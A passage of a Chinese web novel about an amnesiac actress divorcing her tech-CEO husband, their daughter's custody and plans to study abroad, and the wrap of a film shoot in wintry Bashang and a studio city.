宁颐然红着眼,哭嚷道:“你现在说的这么冠冕堂皇!刚才我亲耳听到你说了,即便把抚养权给你,你跟我也不是真正意义上的母女。都这样了,你觉得我还有的选吗?” 这一路,她就像个没了心爱玩具的任性小孩。当一堆玩具摆在她面前时,她看也不看一眼。一旦把这些玩具都收走,又开始不依不饶地哭闹。 当主职太太的应真,把太多的时间精力花在家务劳动中。她怀着对丈夫和女儿的爱在做这些事,可是落在旁人眼里,这些都是毫无意义的付出。 应真默不作声地看着她,冷道:“真正意义上的母女又如何?你觉得尊重你妈妈吗?车祸那天,一睁眼我发现自己多了个十四岁的女儿。回家路上,你爸爸说你乖巧懂事。但是乖巧懂事的女儿,却看不起当全职主妇的妈妈,当面说妈妈是greentea。有那么一段时间,我也试过努力去当好一个妈妈。我只是没想到我们之间的关系这么差,更没想到当好一个妈妈这么难。” 已经快要淡忘的事,被妈妈重又提起,宁颐然一向能言善辩,她想开口替自己辩解,却涨着脸不知如何开口。 过往她没少当面或者背地里表达对妈妈的不满。曾经说过的那些难听的话,此刻像一把把利箭一样,齐齐掉转方向扎向自己。 宁颐然难受极了,喉咙像是被胶水堵住了,她无法开口,只能垂着脑袋听妈妈说。 “这段时间,我的感受是你已经长大了,不再像小时候那样在吃喝拉撒方面需要妈妈无微不至的照顾了。我和你爸爸离婚后,工作会越来越多,肯定没办法像以前那样天天在家。你爸爸更不用说了,他公司的事很多。倒底想跟谁一起生活,你好好想想。你马上十五岁了,法院在判决抚养权时会尊重你的意愿。我能保证的是,如果你想跟我一起生活,我肯定欢迎。我会尽量协调自己的工作时间,多陪伴你。但是忙起来的时候,肯定还是要请阿姨照顾你。我们互相尊重,一起成长。” 这一天她也累了,应真跟她聊完便让她早点休息。 回北市的路上,应真都在反省自己。刚才在木屋咖啡馆,她的确没控制住自己的情绪。 宁君昊提出那个离婚条件,她最直接的感受是他又试图在用女儿抚养权的事控制她。仿佛女儿抚养权归她,便能动摇她离婚的决心一样。 那一刻,她说了些情绪上头的话,没想到全被然然听了去。 虽然那孩子有很多毛病,但一想到她只有十四岁,一想到发生在自己和她身上的事,应真又没办法真的跟她生气。 …… 宁君昊坐在客厅的沙发上连抽好几根烟,应真终于从女儿房间里出来了。 “该说的我都跟然然说了。你刚才提出的那个离婚条件,我接受。离婚协议你尽快签字,元旦假期结束后,我们去把离婚手续办了。我会配合你,把离婚对奇技上市的影响降到最低。” 应真说完便转身上楼,她要收拾一些衣物带走。这次在宁市拍戏,她带的衣服不够。 从衣帽间翻出行李袋,收拾出几件厚实的羊绒毛衣带上。缺什么东西她都记在了手机了,收拾起来很利索。 宁君昊也跟在她后头上了楼,看她正在往行李袋里放衣服,眉眼瞬间冷了下来:“你别再折腾了,今晚我睡书房。明天我让小李送你去宁市。” 他话里是不容拒绝的命令口吻。当总裁时间长了,把跟下属交待工作的语气都带到家里来了。 应真低头收拾东西,看也不看他,“不用。我去翠苑。” 她总是能轻易影响他的情绪! 宁君昊脸色铁青地站在那儿看着她,沉黑的眼眸里墨云翻涌,胸口也剧烈地起伏着。 行李收到一半,应真的手被宁君昊接住,他在她耳边冷冷道:“今晚你留在这儿陪女儿。我去公司。” * 元旦结束后,宁市的天气一天比一天冷,《雪在飘》的拍摄也进入了尾声。 应真回宁市后,将自己全部的心神都投入到元珊身上。 最后几场戏,在坝上拍摄。剧组将人和物资都拉到坝上的一个小村庄。这儿比市区温度低了十度。当地的老百姓流传一个说法:坝上的风一年刮两次,一次刮半年。 村里的条件没法跟宁市比,住宿很紧张,应真和几个女演员挤在一个大通铺上。 夜里,刚安顿好,接到宁君昊的电话。为了不影响屋里其他人,她拿起手机到外头去接。 接起来,那头传来小李焦急慌乱的声音,“太太,宁总喝太多了,刚才吐血了。” 耳边是坝上呼啸而来的刺骨寒风,应真听到那头传来宁君昊呕吐的声音,她发现自己好像没有多余的情绪,只冷静地吩咐小李:“你让他平躺在后座上,马上送他去医院。明天让叶阿姨给他煮点小米粥。” 小李也慌神了,唯唯诺诺地应下来,后来便没再联系她。 应真猜应该是好了。 …… 作为土生土长的宁市人,黄书韵很少在冬天到坝上来。剧组安顿下来后,她有点后悔,为什么要把重头戏设置在这!这不是没事找事给自己上难度么! 不过黄书韵不是内耗的性子,很快便说服了自己。他们这部电影名字叫《雪在飘》,不来点真格的,这名字都对不上了。 环境艰巨,但坝上的戏份是江游和元珊关系转折的重头戏份。黄书韵拍得很细,要求也很高。 元珊跟丈夫离婚后,儿子跟她的关系渐渐缓和,母子俩开始相依为命。冰天雪地里,她被江游拽着去抓他老婆的奸。跟在江游后头,亲眼目睹他发现自己老婆不仅找了小三,还有小四小五。起初,元珊怀着报复心理,江游越难受越狼狈,她越快乐,甚至时不时挤兑他。 后来两人在乡下民宿歇脚,作为从小在城里长大的公子哥,江游头一回睡炕。半夜被烫醒,猛地翻身坐起,只听“刺啦”一声,高档睡衣面料被烤出几个蜂窝状的焦洞。 服装师不怀好意地将那几个洞设置在裆部,露出里头花哨的裤衩。 江游触电般跳下床,撞翻了炕沿的搪瓷缸,滚热的茶泼在脚背上,疼得他倒吸凉气。 元珊穿着儿子的奥特曼睡衣,坐在床边看他狼狈的样子,连瞌睡都笑醒了,被江游从市区派出所发配到郊区派出所的憋屈在这一刻瞬间烟消云散。 原来不苟言笑,派头十足的江所长也有狼狈的时候。元珊笑着笑着笑出泪来,扔给他一条裤腿全是小汽车图案的珊瑚绒睡裤。那是她给儿子买的儿童款睡裤,尺码买错了,懒得退货,便留下来给自己穿了。 身上的睡裤快烫成开裆裤。江游虽然很嫌弃,也只能接到元珊递过来的裤子。 镜头特意将江游从头到脚扫了一遍。他穿着那条短了好几寸连脚踝都遮不住的睡裤,在元珊的爆笑声中,黑着脸钻进被窝里。 这场戏将两人的人设反差拉到了极致,李长风和应真都演得很认真。为了烫得像那么回事,李长风让道具师在搪瓷缸装了滚烫的热水,都不需要演,他在镜头里快烫成了一只上蹿下跳的猴子。 拍完李长风将自己烫得通红的脚背伸到黄书韵跟前,咧着嘴:“导演!我这是工伤吧?” 黄书韵正捧着对讲机跟外景组沟通接下来的外景拍摄,没功夫搭理他,让工作人员找了一支烫伤药给他:“自己擦吧。” 应真捧着保温杯,站在监视器里看刚才那场戏的回放,忍不住笑出声。李长风挺有喜剧天赋的,他把江游那种压抑克制下的喜感拿捏得很好。 秦毅拎了个暖水壶进来,给她们所有人的保温杯里都加上了刚煮好的姜枣茶。 剧组到坝上拍戏,他也过来了,说是替余姐来给她们保障后勤。坝上条件艰苦,他出钱给工作人员购置了保暖衣物,还买了很多取暖的设备。 因为宁君昊一直提秦毅,应真觉得挺没意思。到坝上后,专注到元珊的角色里,跟秦毅除了打招呼,几乎没怎么交流。 这会秦毅拎着暖水壶看着她,应真的保温杯正好空的,她不想太刻意,便拧开盖子递给他。秦毅以前在国外开公司,也当了好几年的老板,但他身上没什么架子,一视同仁地倒满了好几个保温杯,直到暖水壶里的姜枣茶倒完为止。 黄书韵习惯了,只当没瞧见,跟秦毅打招呼:“今天外景组要征用一下你的车子。” 下午要拍一场江游开车到坝上,结果路上车子趴窝的戏。这一回江游开的不是什么半新不旧的捷达,而是自己的高档越野车。 为了节省成本,黄书韵跟秦毅商量好了,征用他那辆黑色路虎。 李长风听黄书韵和秦毅在说车子的事,突然有些不爽。这次来坝上,他把自己的大G也开过来了,就停在民宿门口。 他本来没打算开车过来,是黄书韵每天嚷着要降本增效,勒紧裤腰带将省钱贯彻到极致。戏里头他们几个主演的服装,都是自己的,光服装一项已经省下不少钱。 李长风想着他干脆开自己的车好了,省得剧组在外头找人借或者花钱去租。 他把车子都开过来了,黄书韵竟然开口找秦毅借车。是他那辆大G不够显眼吗?需要她跟别人借? 不知为何,这些天,他越发看不惯秦毅闲着没事,每天绕在黄书韵身边转。投资人整得自己跟债主一样。 李长风有些不高兴:“我下午还是开自己的车吧。我的车我熟,知道怎么操作。” 他都开口了,黄书韵当然不会说不。 剧本里,江游家庭条件优越,本来就是个天之骄子人设,有豪车但是从来不开去单位。 黄书韵笑眯眯地看着他:“你舍得就行。” 李长风忍不住咕哝:“这有什么不舍得的。” 秦毅没再说话,只一径低头笑。 应真正在看剧本,一抬眼便看到他背着手站在那儿笑。她这是错过了什么好笑的事? …… 这个天气户外拍摄,可把剧组工作人员和演员给冻坏了。应真倒还好,以前拍动作电影,各种极端的环境和气候都遇到过。 李长风拍这么多年的戏,吃过最大的苦就是吊威亚和泡冷水,这辈子也没在零下三十度的省道上推过马车。 没办法,戏里江游的车在雪地里趴窝了。他和元珊站在路边一筹莫展,最后还是元珊拦停了一辆马拉爬犁,赶车大爷好心带他们去附近的农村民宿歇脚。 江游穿着高档羊绒大衣,看着爬犁上破破烂烂的羊皮褥子,迟迟不肯落座。偏偏这个时候大爷的马突然打了个响鼻,喷他一脸白雾。 他下意识地阖上眼睛屏住呼吸,黑着脸将头撇到一旁。等他终于坐在爬犁,大爷突然亮起嗓子唱起了蒙古长调,元珊揶揄他:“这才是真正的三维立体声环绕。不比你那个什么柏林之声带劲?” 这一路元珊没少逮着机会埋汰他。江游感觉在她面前颜面扫地,还没来得及回嘴,爬犁就陷进了雪沟里。 江游和元珊只好下车,推着爬犁上去。他那双高档的纯羊皮皮靴进了雪不说,就连羊绒大衣都被马啃掉了半截毛边,江游狼狈得发型都乱了。 一旁大爷浑然不觉,看他推车辛苦,还往他兜里塞炒瓜子:“同志,尝尝,俺媳妇炒的,比城里买的年货香!” 马车推上去的那一刻,元珊站在后头,拿起手机给江游屁股上沾的冰碴子拍了个全景。 黄书韵喊咔的时候,李长风低头看着下摆啃烂了的羊绒大衣,哭笑不得,“导演,我这大衣是LP的,花了我好几万!” …… 在坝上的最后一场戏拍完了,剩下为数不多的几场戏,全集中在离北市不远的万象影视城。 到万象影视城的那天,何钰带着宁君昊签好字的协议赶到了片场。 应真打开离婚协议书,一眼就看到抚养权归属那一栏的几行字,好像也并不意外。 第56章 第56章北市冬天总有一种深入骨…… 奇技正在筹备的游戏《丝路迷踪》费了一番周折,最终顺利拿到版号,全公司上下都松了口气。 宁君昊却消失了三天,那三天投行和律所的人都联系不上他。 找不到宁君昊,他们跑到周添办公室堵人。 周添也很无奈,只能再三跟他们保证,宁君昊不是那种不知轻重的人。上市关系到这么多人的切身利益,已经砸下去无数财力人力物力,怎么可能放弃? 只不过,十几年的夫妻,不是说离就能离的,总要给人家两口子一点时间。周添说破了嘴皮,让他们回去等宁君昊消息,好不容易把人劝走。 隔天,宁君昊终于在公司露面了。他看上去消瘦了些,脸色也不大好。 共事这么多年,周添很少看到宁君昊把生活里的事带到工作上来。不过,换位思考一下,他家万主任要是跟他离婚,他肯定也难受死了。 上大学他们念的是Q大有名的和尚系,一个个走出来都是土了巴唧,不受女生待见的nerd。大学四年,周添把班上女生暗恋了个遍,愣是没一个看上他。 后来跟宁君昊创业,忙得没时间谈恋爱。跟万主任是在网上认识的,那时候她还是医学系的学生,学习压力很大,两人第一次见面就滚床单了。 万主任交过两任男友,周添可是大处男。睡完,万主任嫌他技术不好。周添不服气,他的智商学什么都很快。 于是两人一睡再睡,就这么一路睡成了男女朋友,最后结了婚。所以,周添脱单比宁君昊早好几年。 那些年,宁君昊一门心思扑在公司里,也没见他交过什么女朋友。 直到公司开发的几款游戏爆了,他们几个口袋一夜之间都鼓了起来,钱多得去商场买东西再也不用看价签了。 宁君昊终于交女朋友了。 作为一个专业的师兄弟,周添一直把宁君昊当成跟自己一样,没什么异性缘的技术男。所以,当他第一次带应真到公司来,一个原本应该出现屏幕上的美丽女子,突然出现在他们当时还略显寒酸的工作室当中,给他们造成了巨大的视觉和心理冲击。 …… 往事涌上来,让周添忍不住感慨。这会宁君昊坐在办公桌后,整个人比外头的天还要阴沉,他只能出言安慰: “师兄,不管怎么说Q大女神最美好的十几年都奉献给你。你不知道我们那几届多少人羡慕你。就那天,在会所碰到秦毅,他知道你把应真娶回家了,羡慕得眼珠子都红了。” 他不提秦毅还好,一提秦毅,宁君昊脸色更黑了,扔下鼠标,抄起外套准备走人。 秘书推门进来,问要不要给他订午餐。临近春节,食堂好几个档口已经歇业了。 宁君昊一边穿外套一边道:“我就不用了,给周总点一份,堵堵他的嘴。” 这话说得秘书有些尴尬,不知如何应对,只能用求助的眼神看着周添。 周添一向没什么架子,冲他摆了摆手:“也别给我订了。我等会要去机场接人。” 宁君昊已经走出办公室,又想起什么,转身对跟在身后的秘书道:“你下午也休息吧,今天小年,回去陪陪女朋友。” 在宁总手下当秘书这么长时间,宁总从来不跟他聊工作以外的事。小伙子愣住了,等回过神来已经窘得脸通红:“好的。宁总。” 宁君昊说完就搭电梯下去了。周添看他秘书还傻傻站在那儿,拍了拍他的肩膀:“别愣在这儿了,赶紧下班吧。” * 北市冬天总有一种深入骨髓的萧瑟,今年冬天对宁君昊来说尤是。 他给司机也放了假,自己开车回家,将车子停在家门口,看到门上贴的对联和檐下悬挂的大红灯笼,心跳蓦地快了几拍。 进屋后,却听到母亲的声音,她正在跟叶阿姨说话:“当初她跟我儿子谈,我就不满意。我们宁家在北市好歹也算书香门弟,娶一个没什么文化的戏子回来。现在好了吧,这么多年一个儿子没生,竟然还要跟我儿子分家产!她有什么资格分!” 老太太高亢的声音从厨房里飘出来,叶阿姨唯唯诺诺地听着。 听到门口的动静,何方珍走出来,看到儿子回来了,脸色缓和下来,换了个和煦的语气:“我以为你今天没时间,想接然然去我那。好说歹说,她就是不肯去,戴着耳机在房间里看手机,跟她说话也不理,一点礼貌没有,不知道跟谁学的。” 宁君昊没有理会母亲,拎着衣服和包走近厨房,问叶阿姨,“门口的对联和灯笼是谁买的?” 叶阿姨以为他对那副对联不满意,忙道:“不是买的,是物业管家送过来的。我看往年太太……” “太太”两个字出口,宁总和他母亲眼神都不对了,叶阿姨意识到自己好像说错话,有些紧张地搓了搓手:“往年过年,门口贴的挂的都是物业管家送的。我看今年送过来的对联不错,就给贴上去了。” 宁君昊眼里的光暗了下来,薄唇紧抿着,冲叶阿姨略一点头,转身去了女儿房间。 女儿戴着蓝牙耳机,趴在桌上睡着了,手机屏幕还亮着,正在放着什么。 宁君昊伸手去摘女儿的耳机,扫了一眼手机屏幕,目光便凝住了。 应真和一个女人坐在镜头前侃侃而谈,她穿了一件红色毛衣,头发比上次看着要长一些,用发带束了起来,衬得头颅很是小巧精致,那双好看的眼睛含着笑,手里拿着个瓶子,正说着什么。 宁颐然迷迷糊糊之间,感觉有人在摘自己的耳机,她以为是奶奶,一下子便醒了,睁开眼一看是爸爸。 爸爸的目光正落在自己的手机上。宁颐然下意识地将手机屏幕按灭,有些不好意思道:“妈妈今天给一个营养品品牌做直播。我,我看睡着了……” 宁君昊没说什么,只摸了摸女儿的头发。从女儿房间出来,他拎着电脑径直上了楼。 儿子从头到尾无视自己,当着保姆的面给自己下脸子,何方珍一口气堵在胸口,也跟着上了楼,一把推开书房的门,大声质问:“我听说应真那边要求一半的现金和5%的股票,你答应了?你脑子进水了吗?她坚持要离婚,都撕破脸了……” 宁君昊刚坐下,眉眼还带着外面的寒气,他从口袋里掏出烟点上:“妈,这事跟你没关系,你别管了!” 看儿子这副模样,何方珍气不打一处来,“你看你这个鬼样子!一把年纪了,被一个女人搞得人不人鬼不鬼的……” “妈!”宁君昊不耐烦地打断她:“我上了一天班已经够累了,你别像只苍蝇一样在我耳边嗡嗡嗡!我跟应真之间的事你管不着。应真跟你不一样,她看重的从来不是钱。” 何方珍被儿子气得快撅过去,在书房里来回踱着步子,努力让自己平静下来,最后那股子火还是压不下去,狠狠地瞪着儿子:“宁君昊,你真的疯了!不行!我要去找那个女人,我不能再让她祸害你!” 宁君昊那双冷淡的黑眸陡然变得犀利,紧紧盯着母亲:“妈,我劝你最好不要插手我的事,你要是敢找应真什么麻烦,别怪我不认你这个妈。” 何方珍像是被人捅了一刀,脸色煞白地捂着胸口,站在那儿摇摇欲坠,手指着儿子,嘴唇哆嗦了半天,“你这是在威胁我么?” 宁君昊脸上已经恢复了淡漠,面无表情地掸了掸手里的烟灰,“随你怎么理解。你知道我做得出来。还有……” 说到这,他掀起眼皮看着自己的母亲,“你就然然这一个亲孙女。她现在大了,你最好对她好一点。以后你再当着她的面,说什么儿子不儿子的话,我就去结扎。” “结扎”两个字像一颗雷炸得何方珍头皮发麻,那才往脑门涌的血瞬间退回了四肢百骸,老太太彻底慌神了,“我看你是真的疯了,疯得开始说胡话了。钱在你口袋里,我能管得着你给谁花?我是为你好,才多嘴提醒你几句,听不听随你!” 何方珍又气又怕,饭也没心情吃,唠叨了几句话,就走了。 * 宁颐然从房间出来,看到只有爸爸坐在餐桌旁,忍不住犯起嘀咕,还以为奶奶会留下来跟他们一起吃午饭呢。 爸爸胃不好,最近一直在喝粥。宁颐然的午餐则照旧,糖醋小排,清蒸海鲈鱼,山药蓝莓泥,蒜蓉西兰花,还有一个汤。 看着丰富,但她知道这都妈妈给叶阿姨的小本本上的菜谱。这些天,那个菜谱上的菜,已经来回吃了好几轮了。 父女俩吃完午饭,宁君昊拍了拍自己旁边的座位,对女儿道:“你过来,爸爸有话跟你说。” 宁颐然大概猜到爸爸要跟她说什么,“哦”了一声,有些闷闷不乐地挨着爸爸坐下。 宁君昊:“你想好了没有,我和你妈妈,你想指定谁当你的监护人?” 宁颐然垂着脑袋,闷声道:“选谁当监护人都一样。你们离婚了,我就没有完整的家了。” 说到“没有完整的家”,她鼻子发酸,又想哭,咬牙忍住了:“爸爸,我不想留在北市念书了,你送我去英国上学吧。” 宁君昊有些意外,隔了一会开口道:“我知道你现在很难受。但你年龄还小,出国读书的事,要慎重考虑,不要意气用事。” “我没有意气用事。这几天我是经过慎重思考的,不管我是跟你,还是跟妈妈一起生活,只要继续在北市这个环境,就需要面对你们离婚的事。倒不如去一个全然陌生的环境,可能慢慢就淡忘了,没那么难受了。” 宁颐然越说越坚定:“爸爸,还是你来当我的监护人。寒假我就开始准备考试,你赶紧替我联系学校吧。” 女儿那双肖似自己的眼睛闪着光,眉眼间却全是应真的影子。宁君昊摸了摸女儿头发,语气异常温和:“你想好了,爸爸肯定支持。但是这事你得跟你妈妈说一下,征得她的同意。” 宁颐然撅着嘴不说话。妈妈会在意她在哪读书吗?! …… 宁君昊上楼,坐在书房的电脑前,点燃一根烟,然后转动椅子看向窗外。 院子里,应真最喜欢的那棵枫树,只剩下光秃秃的枝干,孤零零地伫立在寒风中。 这个家,没了她,像是失去了生机。以至于,刚才看到檐下挂着的红灯笼,他以为她回来了,心脏不受控制地狂跳起来。 那一刻,他才意识到婚姻对他来说意味着什么,应真对他来说又意味着什么。 结婚十几年,奇技规模越来越大,肩上的担子越来越重,每天无数决策需要他来做。宁君昊经常感觉自己像一台无法停歇的机器,但只要回到家里,跟应真聊几句,抱着她,闻到她身上的气息,头发上的味道,感觉像是在吸入某种治疗性的药剂。 跟应真在一起,让他感觉自己像个人。 宁君昊从来不怀疑应真对他的爱。她在最美好的年华嫁给他,给他生孩子,她记得他说过的话,她知道他喜欢吃什么,她对他的身体了如指掌。 应真慢热,她对他的感情随着时间的推移而愈发深厚。 可对于二十五岁的应真来说,他不过是仗着她对他的爱,用妻子和母亲的身份将她困住而已。 宁君昊发现自己无法反驳,这十几年,一直是他在向她索取。 小李给她电话时,他虽然吐得不省人事,她说的话还是一句句传到他的耳朵里。 那一刻,五脏六腑翻搅着,像是错位了一般。十几年的记忆啊,他们共同经历的点点滴滴,她单方面地一键清除了。如果是四十岁的应真,一定不会是那么冷漠的反应。她一定会到他身边陪他。 听着她冷淡的话语,宁君昊又想到那天在宁市,她看向他的眼神是那么陌生,他的心脏像是被一只看不见的手揪成一团,难受得整个人蜷缩在车后座。 在医院的那两天,手机微信里积攒了大量未回复信息,律师、保荐机构、会计师,还有大大小小的跟IPO有关的群聊信息。 宁君昊知道所有人都在等他最后的决定,他却连那些对话框都不想打开。股权结构,持股比例,财产分配方案,那些反反复复出现的词汇,已经无法在他心头激起任何波澜。 几个月前第一次收到应真的离婚协议,他还是愤怒情绪占了上风,内心笃定她并不会跟因为无关紧要的人跟他离婚。那时候的他从来没想过事情会发展到如此失控的境地。结婚这么多年,女儿都十四岁了,最难熬的那几年都这去了,他们的婚姻竟然走到头。 二十五岁的应真,鲜活热烈,她想寻找另一种可能。而这一次,他无法再用妻子和母亲的责任将她绑在自己身边。 宁君昊拿起手机,拨通李墨的电话,“现金和股票方案,按我太太提出的来。另外,把北市的两处别墅,还有海市一处大平层过户给她。女儿的监护权归我。你把离婚协议修改好,拿过来我签字。” 第57章 第57章“杀!青!了!”…… 春节越来越近了,万象影视城仍然有几十个剧组在赶工拍摄。 在全剧组的努力下,《雪在飘》最终按预期进度在除夕这天拍最后一场杀青戏。 剧组其他演员戏份都相继结束了,黄书韵把戏里江游和元珊最暧昧的一场戏,安排在最后一天。 美术组搭建的内景是一间县城宾馆风格的房间,工作人员已经就位。 要杀青了,大家都很激动。两个多月的拍摄,终于要结束了,拍完就可以回家了。 黄书韵肉眼可见的消瘦了一圈。第一次当导演,肩上扛着剧组一百多人的生计和两千万多的投资,压力不可谓不大。 临近杀青,她反而开始失眠。这感觉像是考了一场决定命运的试,时间到了马上要交卷。虽然这份试卷她从头到尾都写得很认真,倾尽了全力。到交卷这一刻,还是会紧张、忐忑和焦虑。 好几晚没怎么睡,黄书韵声音也哑了。开拍前,照例还是跟各组的负责人沟通了一番,让大家都打起精神,争取今天早点完工。 原本余平婉想安排一顿散伙饭,但剧组很多工作人员都归心似箭,想早点回去跟家人团聚。她在群里征求了一下意见,改成了零点在群里接力发红包。 天蒙蒙亮,剧组的大巴车就停在片场外面,不时响起行李箱滚轮在地面上滑过的声音,着急回北市的工作人员已经把行李收拾好放进了行李舱。 最后这场戏,应真已经烂熟于胸,安静地坐在休息区候场,兜里的手机震了一下,她拿出来看了一眼,宁君昊发了条信息给她。 自打签完离婚协议那天,宁君昊给她打了个电话,他们没有联系过。 他明显喝多了,醉醺醺地在电话里胡言乱语:“真真,协议我是签字了。但这份协议只签我们的过去。等上市敲钟那天,我要你和女儿在台下。等我把一切尘埃落定,我会亲自求你,你再给我一次机会好不好?” 从认识宁君昊那天起,应真就讨厌他喝酒把自己喝得酩酊大醉,跟他说了句“以后喝醉了别打电话给我”,便挂了电话。 今天除夕夜,她怕宁君昊要跟她说女儿相关的事,点开信息看了一眼。 “应巧打电话给我,他们夫妇打算初三那天带两个儿子过来,在北市玩几天。我已经让秘书给他们安排了酒店,到时候让然然跟哥哥弟弟一起玩。” 应真眉头不由自主皱了起,拿起手机回:“你应该告诉应巧,我们离婚了,让她来找我。” 上回她妈用妹妹应巧的手机打电话过来,劈头盖脸把她训了一通,应真就没再跟应巧联系过。 她将手机放进包里,打算等会拍完戏,再给妹妹打个电话。 她和宁君昊离婚的事,早晚都得让白泉那边的人知道,省得他们以后打着她的名头,去找宁君昊办事。 …… 最后一场戏,灯光组调试时间比往常都长。李长风长腿伸直坐在休息区的折叠椅上,一双眼睛却时不时地看着正在叉腰说话的女人。 片场闹哄哄的,她声音哑了,还扯着嗓子说话。李长风突然有些坐不住,站起来走到她身后。 他用力拍了几下手掌,大声道:“大家都安静一点,导演有话说!” 大约没想到主演跑出来维持秩序吧,刚才还像菜市场一样的片场,瞬间鸦雀无声,所有人都不由自主地看向李长风。 黄书韵转过头似笑非笑看他一眼。她承认她说话声音小了点。一来她本身说话嗓门就偏细,二来她不是那种爱摆架子的威权导演,她的工作方式就是大家一起合作共事,每个人该干嘛干嘛。 李长风被她那一眼搞得有点尴尬,有点回过味来,她好像并不是那种需要男人替她出头的女人。 黄书韵没说什么,只让副导演去把那个正在充电的扩音喇叭拿过来,然后站在片场中央。 “今天是咱们雪在飘最后一场戏,灯光组同事们多费点心,氛围感要到位。还有,我们女主狼狈了一整部电影,摄制组的同事今天要把应真老师身上那种很女人的气质凸显出来。收音组的同事尽量把环境音都收进去,便于后期处理。还有两位演员老师,大家辛苦了。拍完这场戏,我们回去安心过个年!” 应真也起身冲现场工作人员鞠了一躬:“各位老师,辛苦了!” 李长风:“大家一起加油!” “加油!” 片场所有人都鼓起掌来。灯光组的几个小伙不自觉地加快了手里的工作。 …… 《雪在飘》原小说写的是婚姻和背叛的故事,男女主都是熟男熟女,愣是连亲嘴戏份都没有。 其实在写小说的时候,黄书韵也想写点大尺度的,结果好巧不巧赶上网站严打,脖子以下不能写。所以小说里最暖昧的戏份也不过元珊把头靠在江游的肩上。 江游当面撞破老婆韩月的出轨现场后,韩月不仅没有反省自己,还当着元珊和出轨的对象的面,把江游嘲弄一番。 回程路上,江游和元珊困在乡下宾馆。他失魂落魄,元珊却在一旁大口吃着方便面配火腿肠。泡面的香气直往江游鼻孔里钻,他又饿又气:“你还有心思吃?” 元珊抬眼看他,一脸无辜:“又不是我老婆出轨。我为什么没心思吃?” 江游气得难受,推门去外头抽了根烟。他站在外头一根接一根抽着,元珊看着他映在窗户上的侧脸,忽然有些愧疚。 这一路,好像一直在幸灾乐祸地看他笑话。 等江游带着一身寒气进屋,元珊主动跟他搭话:“所长,其实我懂这种感觉……” 江游沉着脸坐在坑沿上,自嘲一笑:“什么感觉?难不成你老公也说你银样镴枪头,中看不用中?” 刚才韩月当着外人的面,让江游好好反省下自己,找个医生看看。结婚好几年,他对那方面越来越没兴趣,他满足不了她,所以她才出轨的。韩月甚至怀疑他是骗婚的Gay。 反正千错万错都是别人的错,她出轨的责任全在江游身上。 元珊在一旁听,简直叹为观止。 这会看到江游眼里的嘲讽,她意识到自己好像说错话,赶紧找补回来,“不是。我意思是我懂被最亲近的人背叛的滋味。” 屋里安静下来,江游突然抬眼看她:“你不会也觉得我是Gay吧?” 元珊正拎着热水瓶给他倒热水,赶紧否认:“不会。怎么可能?” 江游冷着脸没说话,从她手里接过杯子,结果搪瓷杯太烫了,他没拿住,热水直接撒在他的羊绒大衣上。 元珊赶紧拿毛巾帮他擦。紧接着是江游的主观镜头,镜头扫过元珊垂落的头发和嘴唇,房间里的气氛瞬间有些不对劲了。 应真和李长风按照剧本里写的拍了一遍。这一回,李长风没敢让道具师准备太热的水。 导演一喊“咔”,刚才有点暧昧的氛围瞬间烟消云散,两个演员不约而同凑到监视器前面。 黄书韵撑着下巴:“好像少了点什么。” 她写小说的时候,完全是从男女主之间的感情张力角度去写,似乎忽略了很重要的要素,以至于没有把这段的效果拉满。 李长风有些不解,他觉得自己演得挺好的,“少了什么?” 应真将刚才拍的几条看了一遍,看到自己用毛巾擦江游的大衣,突然想起那天用毛巾给然然擦脸。 虽然她一直说自己没有当妈的心态,但看见然然哭得那么伤心,心里还是泛起一丝疼。发生在自己身上这些事,让应真很困惑。母性倒底是一个女人与生俱来的天性,还是后天塑造出来的? 刚才那场戏,曾经高高在上,看不惯元珊的江所长,将自己的伤口彻底坦露出来,流露出脆弱无助的一面。元珊又会是什么样的反应呢? 应真弯下身子,将胳膊撑在黄书韵的肩上:“这场戏,元珊是不是应该往母性的感觉去靠?她本来就比江游大,又有个十几岁的儿子。她对江游这个这个刚经历了老婆背叛的男人,应该是有母性的怜爱的。” 黄书韵熬了好几个大夜,感觉脑子已经快转不动了,听到这眼里闪过一抹光亮,兴奋道:“对!就是这种感觉!元珊是过来人,她不久前才经历丈夫背叛和社会性死亡,她完全懂江游此刻的心情。共情的同时,难免对江游产生一丝女性特有的同情和怜爱。江游当然也感觉到了,所以两人之间的氛围发生了变化。” 她越说越兴奋,让李长风坐在坑沿上,拍了拍他的肩,开始示范动作,“你等会接过元珊递的水,别往大衣上泼了,你直接失手撒到裤子上。然后元珊拿毛巾帮你擦。她是个结过婚的女人,又是妈妈,动作什么的都很麻利……” 黄书韵一边说,一边用毛巾擦李长风裤子。她没想太多,李长风却几乎条件反射地从炕上弹了起来。 也许是动作太大了,他不小心撞翻了旁边的脸盆架。脚下没控制好,趔趄了一大步,和架子一起倒在了地上。 道具师准备的搪瓷脸盆从架子上掉下来,直接扣在他脸上,上面挂的几条毛币全掉到他身上。 倒下去的那刻,灯光师的电源线也被他拽松了,房间里背景灯全暗了下来。 大家都愣在那儿,紧接着除了李长风,在场所有人都忍不住爆笑起来。 “不是。你干嘛反应这么大!”黄书韵笑得肚子疼,“这效果挺好的!等会你就这么演!” 李长风将身上的毛巾摘掉,从地上爬了起来,一脸尴尬道:“导演,你这是让我直接把水撒在裤,裤—裆上吗?不是,这能播吗?” 黄书韵不以为然:“你放心,不会给特写。” 说完,她就去跟摄像沟通了。 今天这场戏,要加好几组镜头,除了刚才江游摔倒的戏份。还要加一组元珊伸手去拉他,他俩对视的镜头。 啧~这就是她想要的点到为止的暧昧效果! 杀青这一场戏,在现场所有人的集思广益下,总算让黄书韵满意了。 结尾时,元珊和江游终于向对方敞开心扉。他们问宾馆老板要了一瓶二锅头,一碟花生米,坐下来你一杯我一杯地喝酒。 最后,元珊醉醺醺地靠在江游的肩上,嘴里嘟囔着:“所长,你放心,如果以后韩月在外头造谣你不行,我肯定会帮你辟谣!” 江游哭笑不得,正想说什么,肩膀一沉,很快耳边响起了均匀的呼吸声。 江游无奈地看着她,然后叹了口气。镜头切远,他将元珊放倒,轻轻为她盖上被子。 窗外风雪依旧,屋内一人睡得正香,一人坐在炕沿用力揉搓着自己的脸。 这场抓奸后的“囧途”,让元珊和江游两颗受伤的心,在啼笑皆非中渐渐靠近。 应真和李长风都进入状态了,在场的工作人员大气都不敢喘。终于,黄书韵哑着嗓子喊出声。 这一次,她没有喊“咔”,而是颤着嗓子激动道:“杀!青!了!” 第58章 第58章“现在?” 《雪在飘》开拍后,官博并不活跃,只零星了转发了几条演员的片场动态。 时隔两个多月,官博又发了一条微博,并配上了主创演员杀青的九宫格照片。 【《雪在飘》今日杀青! 小元与小江的囧途之旅圆满收官! 